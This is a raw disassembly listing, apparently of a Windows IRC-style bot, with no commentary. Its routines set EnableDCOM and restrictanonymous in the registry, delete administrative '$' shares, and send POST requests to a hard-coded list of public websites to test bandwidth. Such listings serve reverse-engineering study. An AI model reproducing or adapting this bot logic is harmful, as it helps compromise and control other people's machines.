push edi
call sub_419F6D
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_4346E0
push esi
call dword_4CBA90
test eax, eax
jz loc_41A2AB
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_427108
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_41A2AB
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_41A2AB
mov edi, dword_427104
push 3
push esi
push esi
push offset dword_4DBC4C
call edi
push eax
push [ebp+var_8]
call edi
push eax
nop
call near ptr 2730320h
test eax, eax
jz short loc_41A2AB
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41BF70
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43DB88
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
nop
call near ptr 26709E4h
test eax, eax
jnz short loc_41A2B3
loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj
; sub_41A1B1+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_41A361
; ---------------------------------------------------------------------------
loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j
push [ebp+var_4]
mov edi, dword_427070
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DBC48, eax
mov eax, [ebp+var_8]
mov dword_4DBC50, eax
mov eax, [ebp+var_2C]
mov dword_4DBC44, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DBC88, eax
jz short loc_41A2ED
push [ebp+arg_4]
jmp short loc_41A2EE
; ---------------------------------------------------------------------------
loc_41A2ED: ; CODE XREF: sub_41A1B1+135j
push ebx
loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj
push offset dword_4DBC54
call sub_41C266
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_43A524
call sub_40B3BA
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43E918[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41A05C
push esi
push esi
nop
call near ptr 2690000h
cmp eax, esi
mov dword_43E924[edi], eax
jnz short loc_41A35F
nop
call near ptr 269086Bh
push eax
lea eax, [ebp+var_378]
push offset unk_43A4F0
push eax
call sub_41C266
lea eax, [ebp+var_378]
push eax
call sub_415D38
add esp, 10h
loc_41A35F: ; CODE XREF: sub_41A1B1+185j
xor eax, eax
loc_41A361: ; CODE XREF: sub_41A1B1+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_41A1B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41A3AD
call sub_41A3C6
jmp short loc_41A3B2
; ---------------------------------------------------------------------------
loc_41A3AD: ; CODE XREF: sub_41A366+3Ej
call sub_41A6EA
loc_41A3B2: ; CODE XREF: sub_41A366+45j
add esp, 10h
push [ebp+var_14]
call sub_40B6D6
pop ecx
push 0
nop
call near ptr 26F0A80h
sub_41A366 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CBAA4, edi
jnz loc_41A4F8
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA44
test eax, eax
jnz short loc_41A451
mov ax, word_439298
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB9F8
test eax, eax
jz short loc_41A433
push offset dword_43A7C0
jmp short loc_41A438
; ---------------------------------------------------------------------------
loc_41A433: ; CODE XREF: sub_41A3C6+64j
push offset dword_43A7A0
loc_41A438: ; CODE XREF: sub_41A3C6+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0
jmp short loc_41A464
; ---------------------------------------------------------------------------
loc_41A451: ; CODE XREF: sub_41A3C6+36j
lea eax, [ebp+var_214]
push offset dword_43A770
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A464: ; CODE XREF: sub_41A3C6+89j
cmp [ebp+arg_C], edi
jnz short loc_41A483
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A483: ; CODE XREF: sub_41A3C6+A1j
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA44
test eax, eax
jnz short loc_41A4F1
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CB9F8
test eax, eax
jz short loc_41A4D3
push offset dword_43A720
jmp short loc_41A4D8
; ---------------------------------------------------------------------------
loc_41A4D3: ; CODE XREF: sub_41A3C6+104j
push offset dword_43A6EC
loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0
jmp short loc_41A50B
; ---------------------------------------------------------------------------
loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j
push offset dword_43A6B0
jmp short loc_41A4FD
; ---------------------------------------------------------------------------
loc_41A4F8: ; CODE XREF: sub_41A3C6+13j
push offset dword_43A680
loc_41A4FD: ; CODE XREF: sub_41A3C6+130j
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A50B: ; CODE XREF: sub_41A3C6+129j
cmp [ebp+arg_C], edi
jnz short loc_41A52A
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A52A: ; CODE XREF: sub_41A3C6+148j
lea eax, [ebp+var_214]
push eax
call sub_415D38
cmp dword_4CBACC, edi
pop ecx
jnz loc_41A6A5
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CB918
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A5EA
cmp eax, 0EAh
jz short loc_41A5EA
mov esi, offset off_43A548
loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj
push dword ptr [esi]
push edi
call sub_4191B8
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A595
push offset dword_43A65C
jmp short loc_41A59A
; ---------------------------------------------------------------------------
loc_41A595: ; CODE XREF: sub_41A3C6+1C6j
push offset dword_43A630
loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A5CD
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj
lea eax, [ebp+var_214]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset off_43A568
jb short loc_41A57E
jmp loc_41A682
; ---------------------------------------------------------------------------
loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj
; sub_41A3C6+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A679
loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj
mov edi, [esi]
push edi
call sub_41E0B7
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A66E
push edi
call sub_4190A5
push eax
push 0
call sub_4191B8
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A628
push offset dword_43A60C
jmp short loc_41A62D
; ---------------------------------------------------------------------------
loc_41A628: ; CODE XREF: sub_41A3C6+259j
push offset dword_43A5E0
loc_41A62D: ; CODE XREF: sub_41A3C6+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A661
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A661: ; CODE XREF: sub_41A3C6+27Fj
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
loc_41A66E: ; CODE XREF: sub_41A3C6+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A5F9
xor edi, edi
loc_41A679: ; CODE XREF: sub_41A3C6+22Dj
push [ebp+var_8]
call dword_4CBA64
loc_41A682: ; CODE XREF: sub_41A3C6+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A54D
lea eax, [ebp+var_214]
push offset dword_43A5B8
push eax
call sub_41C266
pop ecx
pop ecx
pop ebx
jmp short loc_41A6B8
; ---------------------------------------------------------------------------
loc_41A6A5: ; CODE XREF: sub_41A3C6+177j
lea eax, [ebp+var_214]
push offset dword_43A588
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A6D6
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_41A3C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CBAA4, ebx
push esi
jnz loc_41A818
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA44
test eax, eax
jnz short loc_41A775
mov ax, word_4392DC
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB9F8
test eax, eax
jz short loc_41A757
push offset dword_43A938
jmp short loc_41A75C
; ---------------------------------------------------------------------------
loc_41A757: ; CODE XREF: sub_41A6EA+64j
push offset dword_43A91C
loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0
jmp short loc_41A788
; ---------------------------------------------------------------------------
loc_41A775: ; CODE XREF: sub_41A6EA+36j
lea eax, [ebp+var_220]
push offset dword_43A770
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A788: ; CODE XREF: sub_41A6EA+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A7A7
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA44
test eax, eax
jnz short loc_41A811
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CB9F8
test eax, eax
jz short loc_41A7F3
push offset dword_43A8DC
jmp short loc_41A7F8
; ---------------------------------------------------------------------------
loc_41A7F3: ; CODE XREF: sub_41A6EA+100j
push offset dword_43A8A4
loc_41A7F8: ; CODE XREF: sub_41A6EA+107j
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0
jmp short loc_41A82B
; ---------------------------------------------------------------------------
loc_41A811: ; CODE XREF: sub_41A6EA+E2j
push offset dword_43A868
jmp short loc_41A81D
; ---------------------------------------------------------------------------
loc_41A818: ; CODE XREF: sub_41A6EA+13j
push offset dword_43A680
loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A82B: ; CODE XREF: sub_41A6EA+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A84A
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A84A: ; CODE XREF: sub_41A6EA+144j
lea eax, [ebp+var_220]
push eax
call sub_415D38
cmp dword_4CBACC, ebx
pop ecx
jnz loc_41A9BF
push edi
mov esi, offset off_43A548
mov edi, 200h
loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_41910C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A889
push offset dword_43A848
jmp short loc_41A88E
; ---------------------------------------------------------------------------
loc_41A889: ; CODE XREF: sub_41A6EA+196j
push offset dword_43A820
loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A8BD
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j
lea eax, [ebp+var_220]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset off_43A558
jb short loc_41A86E
nop
call near ptr 28507A1h
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A9A7
loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A99C
cmp bl, 41h
jz loc_41A99C
movsx esi, bl
push esi
push offset aC_2 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_1 ; "%c:\\"
push 0Ah
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CBA34
cmp eax, 3
jnz short loc_41A99C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_41910C
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A95A
push offset dword_43A848
jmp short loc_41A95F
; ---------------------------------------------------------------------------
loc_41A95A: ; CODE XREF: sub_41A6EA+267j
push offset dword_43A820
loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A98F
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A98F: ; CODE XREF: sub_41A6EA+289j
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
loc_41A99C: ; CODE XREF: sub_41A6EA+206j
; sub_41A6EA+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A8E8
loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j
lea eax, [ebp+var_220]
push offset dword_43A7F0
push eax
call sub_41C266
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A9D2
; ---------------------------------------------------------------------------
loc_41A9BF: ; CODE XREF: sub_41A6EA+173j
lea eax, [ebp+var_220]
push offset dword_43A588
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A9F0
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A6EA endp
; =============== S U B R O U T I N E =======================================
sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp
; sub_41ABFB+DDp ...
arg_0 = dword ptr 4
nop
call near ptr 26A07AFh
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41AA04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p
; sub_41ABFB+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B9C0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41ABF7
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41BF70
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40A8F0
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41ABF7
push 50h
call dword_4CB9D4
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CBA54
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41ABF7
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_41ABF7
push 32003h
call sub_41D9A5
mov edi, dword_4270B0
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi
push eax
call sub_41C2B8
call sub_41C2C2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41BF70
push 32000h
push esi
push ebx
call sub_41BF70
push ebx
call sub_41B9C0
push 323EAh
mov ebx, eax
call sub_41D9A5
add esp, 20h
mov esi, eax
push ebx
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41C266
push [ebp+var_8]
push esi
call sub_41C8A0
push offset asc_4349EC ; "\r\n"
push esi
call sub_41C8A0
push esi
call sub_41B9C0
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41AB77
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41AB47
; ---------------------------------------------------------------------------
loc_41AB44: ; CODE XREF: sub_41AA1E+157j
mov eax, [ebp+arg_0]
loc_41AB47: ; CODE XREF: sub_41AA1E+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41AB57
push [ebp+var_C]
jmp short loc_41AB58
; ---------------------------------------------------------------------------
loc_41AB57: ; CODE XREF: sub_41AA1E+132j
push ebx
loc_41AB58: ; CODE XREF: sub_41AA1E+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_41ABDE
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41AB44
loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj
call edi
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_4276F4
fst [ebp+arg_0]
fcomp flt_4276F0
fnstsw ax
sahf
jnz short loc_41AB9F
fld1
fstp [ebp+arg_0]
loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj
push [ebp+var_4]
call dword_4CBA6C
push [ebp+var_8]
call sub_41BA91
push esi
call sub_41BA91
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_4276EC
fmul flt_4276E8
call sub_41D174
loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41ABDE: ; CODE XREF: sub_41AA1E+149j
push [ebp+var_4]
call dword_4CBA6C
push [ebp+var_8]
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
loc_41ABF7: ; CODE XREF: sub_41AA1E+19j
; sub_41AA1E+42j ...
xor eax, eax
jmp short loc_41ABD9
sub_41AA1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41AA04
push [ebp+eax*4+var_3C]
call sub_41AA1E
push 8
mov esi, eax
call sub_41AA04
push [ebp+eax*4+var_3C]
call sub_41AA1E
add esp, 10h
test esi, esi
jz short loc_41ACFC
test eax, eax
jz short loc_41ACF8
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j
mov ebx, esi
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j
mov ebx, eax
loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj
; sub_41ABFB+FFj
push 0Ch
call sub_41AA04
push [ebp+eax*4+var_6C]
call sub_41AA1E
push 0Ch
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_6C]
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD36
test eax, eax
jz short loc_41AD32
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej
mov esi, edi
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj
mov esi, eax
loc_41AD38: ; CODE XREF: sub_41ABFB+135j
; sub_41ABFB+139j
push 6
call sub_41AA04
push [ebp+eax*4+var_1C]
call sub_41AA1E
push 6
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_1C]
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD70
test eax, eax
jz short loc_41AD6C
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD6C: ; CODE XREF: sub_41ABFB+168j
mov ecx, edi
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD70: ; CODE XREF: sub_41ABFB+164j
mov ecx, eax
loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj
; sub_41ABFB+173j
xor eax, eax
test ebx, ebx
jz short loc_41AD7F
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41AD82
; ---------------------------------------------------------------------------
loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj
push 2
pop edi
loc_41AD82: ; CODE XREF: sub_41ABFB+182j
test esi, esi
jz short loc_41AD8A
add eax, esi
jmp short loc_41AD8B
; ---------------------------------------------------------------------------
loc_41AD8A: ; CODE XREF: sub_41ABFB+189j
dec edi
loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj
test ecx, ecx
jz short loc_41AD93
add eax, ecx
jmp short loc_41AD94
; ---------------------------------------------------------------------------
loc_41AD93: ; CODE XREF: sub_41ABFB+192j
dec edi
loc_41AD94: ; CODE XREF: sub_41ABFB+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_43A990
push eax
call sub_41C266
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_26C]
push eax
call sub_415D38
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41ABFB endp
; =============== S U B R O U T I N E =======================================
sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp
; sub_401ACD+29CDp ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
nop
call near ptr 26A07AFh
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
